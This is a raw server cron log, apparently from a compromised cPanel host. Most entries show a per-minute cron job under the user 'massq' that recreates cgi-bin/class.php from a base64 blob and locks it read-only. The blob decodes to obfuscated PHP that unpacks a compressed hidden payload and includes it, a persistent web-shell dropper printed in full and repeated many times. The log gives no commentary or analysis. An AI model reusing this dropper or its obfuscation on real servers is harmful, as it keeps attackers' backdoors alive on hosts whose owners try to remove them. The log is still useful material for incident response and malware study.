Nov 13 21:52:01 server CROND[29044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:53:01 server CROND[30036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:54:01 server CROND[30909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:55:01 server CROND[31920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:55:01 server CROND[31921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:55:01 server CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:56:01 server CROND[397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:57:01 server CROND[1262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:57:01 server CROND[1263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 21:58:01 server CROND[1925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:59:01 server CROND[2805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:00:02 server CROND[3640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:00:02 server CROND[3641]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 22:00:02 server CROND[3642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:00:02 server CROND[3644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:00:02 server CROND[3643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:01:01 server CROND[4489]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 22:01:01 server CROND[4490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:01:01 server run-parts(/etc/cron.hourly)[4489]: starting 0anacron
Nov 13 22:01:01 server run-parts(/etc/cron.hourly)[4502]: finished 0anacron
Nov 13 22:02:01 server CROND[5363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:03:01 server CROND[6327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:04:01 server CROND[7195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:05:01 server CROND[8132]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 22:05:01 server CROND[8131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:05:01 server CROND[8135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
